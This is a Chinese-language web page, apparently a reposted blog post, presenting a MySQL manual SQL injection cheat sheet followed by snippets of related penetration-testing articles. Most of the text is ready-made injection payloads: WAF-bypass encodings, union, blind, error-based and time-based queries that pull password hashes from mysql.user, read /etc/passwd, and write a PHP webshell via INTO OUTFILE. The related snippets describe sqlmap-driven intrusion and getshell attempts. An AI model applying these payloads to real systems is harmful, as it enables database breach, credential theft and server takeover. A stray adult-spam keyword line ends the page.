<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Mysql 手工注入速查表 | 建議收藏

    一顆小胡椒2021-08-26 09:00:00

    繞 WAF 

    過濾空格:

    +,%2B,%20,%09,%0d,%0A,/**/,/*tuns*/
    

    使用 like、IN、NOT IN 替換 =:

    script.php?par=1 and substring(Version(),1,1)like(5)script.php?par=1 and substring(Version(),1,1)not in(4,3)script.php?par=1 and substring(Version(),1,1)in(4,3)
    

    使用 substring 函數:

    script.php?par=1 and right(left(version(),1),1)=5script.php?par=1 and left(version(),1)=4script.php?par=1 and ascii(lower(substr(Version(),1,1)))=51script.php?par=1 and (select mid(version(),1,1)=4)
    

    無需空格之盲注:

    script.php?par=(1)and(lower(substring((select(pass)from(mysql.user)where(user="user")),1,1))='b')script.php?par='1'and(exists(select(1)from(users)where(ascii(lower(substring(user_id,1,1))))like(50) ))and'1'<'2'
    

    無需空格之聯合注入:

    script.php?par=a')union(select'1',2,table_name,(4) from(information_schema.tables))%23script.php?par=(-1)union(select(table_name),2,3,4,5,(6)from(informa tion_schema.tables))/*
    

    無需逗號之盲注:

    script.php?par=1 and substring((select password from user where Host='localhost') FROM 1 FOR 1)>'f'script.php?par=1 and mid((select password from user where Host='localhost') FROM 1 FOR 1)>'f'script.php?par=(1)and(case when ascii(substring((select password from user limit 1 offset 0) from 1 for 1))>100 then 1 else (select 1 union select 2)end)
    

    無需逗號聯合注入:

    script.php?par=1 union select 1/*!,*/2/*!,*/3/*!,*/4/*!,*/5/*!,*/6--
    

    大小寫繞過:

    script.php?par=1 uNion SeLect 1
    

    WAF 繞過:

    script.php?par=1/*!limit+0+union+select+version()+from+tables*/ # %0D%0A/artists.php?artist=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user# /*!0hUserId=22768&FromDate=1&ToDate=1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-&sendbutton1=Get+Statement# news.php?id=1+un/**/ion+se/**/lect+1,2,3--# 大小寫繞過news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--# 二次過濾http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--# URL編碼http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
    

    數據庫名字中的連字符:

    script.php?par=1 union select version() from `db-forum`.forum_user
    

    繞過 magic_quotes (雙重查詢):

    script.php?par=-1 union select 1,2,0x2D3120756E696F6E2073656C656374202731272F2A,4 ,5,6,7,8,9,10,11,12,13/*2D3120756E696F6E2073656C656374202731272F2A ==> -1 union select '1'/*
    

    連接字符串:

    select * from users where name = 'te'+'st';select * from users where name = 'te'='st';"1"'2'"3"  '1'"2"'3'
    

    注釋符

    /* 多行 最后使用過 */ 結尾

    - 單行 后面必須跟 空格

    # 單行 (%23)

    系統變量
    @@basedir@@datadir@@tmpdir@@version_compile_os@@version_comment -  MySQL 服務器的當前版本。@@version_compile_machine - 編譯此版本 MySQL 服務器的架構類型@@log_error 錯誤日志路徑SYSTEM_USER()SESSION_USER()CURRENT_USER()
    

    group_concat 輸出內容

    查找字段:

    group_concat (concat_ws) (0x3a, table_sche table_name, column_name)) + from + information_schema.columns + where + column_name + like + '% qwe%'
    

    獲取前一百字段:

    mid(group_concat(concat_ws(0x3a,table_schema,table _name,column_name)),100,1024),2,3,4,5,6+from+information_schema.columns
    

    獲取表名:

    group_concat(table_name)+from+information_schema.tables+where+table_schema!=0x696E666F726D6174696F6E5F736368656D61
    

    獲取除系統表外的其他表:

    group_concat(table_name+order+by+1)+from+information_schema.tables+where+table_schema!='information_schema'group_concat(table_name+order+by+1)+from+information_schema.tables+where+table_schema!='information_schema'+and+table_name>'last_table'
    

    盲注,字符匹配:

    group_concat(table_name)+from+information_schema.tables+where+ASCII(LOWER(table_name))=99
    

    使用 limit 獲取表名:

    group_concat(table_name)+from+infor mation_schema.tables+group+by+table_schema+limit+1 ,1
    

    分列顯示

    group_concat(concat_ws(0x3a,user,password,file_priv))+from+mysql.user+group+by+file_priv+limit+1,1
    
    使用編碼函數
    script.php?par=1 union select cast(version()+as+binary)script.php?par=1 union select convert(version(),binary)script.php?par=1 union select convert(version()+using+latin1)script.php?par=1 union select convert(version()+using+binary)script.php?par=1 union select aes_decrypt(aes_encrypt(version(),1),1)script.php?par=1 union select unhex(hex(version()))
    

    報錯注入

    name_const (MySQL 5.0.12 > 5.0.64)

    (select name_const((select 1),1)) - truescript.php?par=1 or(1,2)=(select*from(select name_const(version(),1),name_const(version(),1))a)script.php?par=1 union select * from(select * from(select NAME_CONST((select column_name from information_schema.columns limit 1), 14)d) as t join (select NAME_CONST((select column_name from information_schema.columns limit 1), 14)e) b)a--
    

    ExtractValue (MySQL 5.1>=)

    script.php?par=1 AND extractvalue(1,concat(0x3a,(select pass from users limit 0,1)))==>XPATH syntax error: ':200820e3227815ed1756a6b531e7e0d'
    

    rand (Mysql >= 4.1)

    script.php?par=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE group by x)a)--script.php?par=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--script.php?par=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--script.php?par=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--script.php?par=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) --script.php?par=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) --
    

    查詢列名

    MySQL >= 4.1

    # Selectscript.php?par=(1)and(SELECT * from xek.users)=(1)==>Operand should contain 4 column(s)script.php?par=1 and (1,2,3,4) = (SELECT * from xek.users UNION SELECT 1%0,2,3,4 LIMIT 1)==>Column 'id' cannot be null# Insert、Update、ReplaceINSERT INTO table (`a`,`b`,`c`) VALUES ('1',if(1=1,NULL,'2'),'3')Column 'name' cannot be null
    

    MySQL 5

    -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a==>#1060 - Duplicate column name 'id'-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a==>#1060 - Duplicate column name 'name'-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))aPROCEDURE ANALYZE()script.php? par = 1 limit 0,1 PROCEDURE ANALYZE()
    

    沒有列名的數據查詢

    MySql => 4.1.х 

    script.php?par=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14script.php?par=-1 union select * from users,(select 1)ascript.php?par=-1 union select * from users,(select 1,2)ascript.php?par=-1 union select * from users,(select 1,2,3)a.....script.php?par=-1 union select * from users,(select 1,2,3,4,5,6,7,8,9)ascript.php?par=-1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)ascript.php?par=-1 union select * from (select 1,2,3,4)b,users,(select 1,2,3,4,5)ascript.php?par=-1 union select * from (select 1,2,3)b,users,(select 1,2,3,4,5,6)ascript.php?par=-1 union select * from (select 1,2)b,users,(select 1,2,3,4,5,6,7)ascript.php?par=-1 union select * from (select 1)b,users,(select 1,2,3,4,5,6,7,8)a
    

    MySql =>4.0

    script.php?par=1 union select *,1,2,3,4,5,6 from usersscript.php?par=1 union select 6,users.*,2,3,4,5,1 from users
    

    Order 注入

    # 盲注:script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))# (ExtractValue)script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--# (rand)script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)--# (name_const)script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)
    

    limit 注入

    script.php?par=1,111111111 union select version(),2,3,4--script.php?par=111111111 union select version(),2,3,4--
    

    時間盲注

    script.php?par=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --script.php?par=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
    

    文件權限

    讀文件

    script.php?par=1 and 1=if(load_file('/etc/passwd') is not NULL,1,2)--+# 繞過讀取文件超過 64 字符的情況?lol=123'+and+(select+1+from+(select+count(0),concat((select+mid(load_file('/etc/passwd'),1,64),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)?lol=123'+and+(select+1+from+(select+count(0),concat((select+mid(load_file('/etc/passwd'),65,128),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)
    

    寫文件

    script.php?par=1 limit 1 into outfile '/path/to/shell.php' lines terminated by ""--+script.php?par=1 limit 1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by ""--+
    

    防御過濾

    +, -, =, &, |, &&, ||, <=>, <=, >=, !=, <>, ^, *, <<, >>, <>, %, /, <, >, or not, and not, div, xor, or, and
    

    漏洞檢測

    /?s=1/?s[]=1/?s=[1]/?s=1\/?s=1/' //?s=1/!1111'/
    
    selectsubstring
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    環境搭建1.項目介紹:本次項目模擬滲透測試人員在授權的情況下,對目標進行滲透測試,從外網打點到內網橫向滲透,最終獲取整個內網權限。使用弱口令和暴力破解,沒有爆破出弱口令用戶。
    一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的 一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果 完全盲注,你無論怎么輸入都完全看不到任何變化。你只能通過日志或者其它什么的來注入。雖然不怎么常見。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。這只是一個簡單的總結,只是簡單的為新手分享一下SQL注入,文中內容可能會存在錯誤,望大佬們手下留情!0x01 Mysql 手工注入1.1 聯合注入?id=0' union select 1,2,3,group_concat from users --+#group_concat 可替換為 concat_ws
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    0x00 目標情況一個web站點111.*.*.63,只有一個登陸框,測試了沒有注入,沒有弱口令,掃描了全端口,沒有發現什么有用的信息。0x02 找網站絕對路徑判斷是不是dba權限uname=test';if(1=(select?判斷是否是站庫分離uname=test';if?sqlmap查看建表成功,sqlmap -r 1.txt --dbms "Microsoft SQL Server" -D "tempdb" --tables查找網站文件并把路徑寫入到表tt_tmp. python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=S -D "tempdb" -T "tt_tmp" -C "tmp1" --dump -v 30x03 嘗試在111.*.*.59主機getshell嘗試寫一句話先在下面的路徑中寫入txt文件驗證網站路徑到底是哪一個D:\bak\20170226\bak\20170403.2\webapp\Content\layer\. 依次寫文件然后訪問,在寫入?
    在一次測試中,發現一個輸入單引號觸發頁面報錯,而輸入兩個單引號觸發頁面跳轉拒絕訪問的頁面,比如:name=' -> Redirecting to /Error.aspx pagename='' -> Redirecting to /AccessDenied.aspx page. 當輸入基數個單引號時,頁面跳轉 Error.aspx,當輸入偶數個單引號時,頁面跳轉至 AccessDenied.aspx,由于網站服務器是 asp.net + iis 架構的,根據經驗判斷,后端服務器應該是 MSSQL。因為數據庫的名稱是字符串,而將字符串轉換為數字型時會報錯,而今天這個環境下測試時發現:'+convert+' -> Redirecting to /Error.aspx page'+convert+' -> Redirecting to /AccessDenied.aspx page
    MSSQL注入和漏洞利用姿勢總結
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类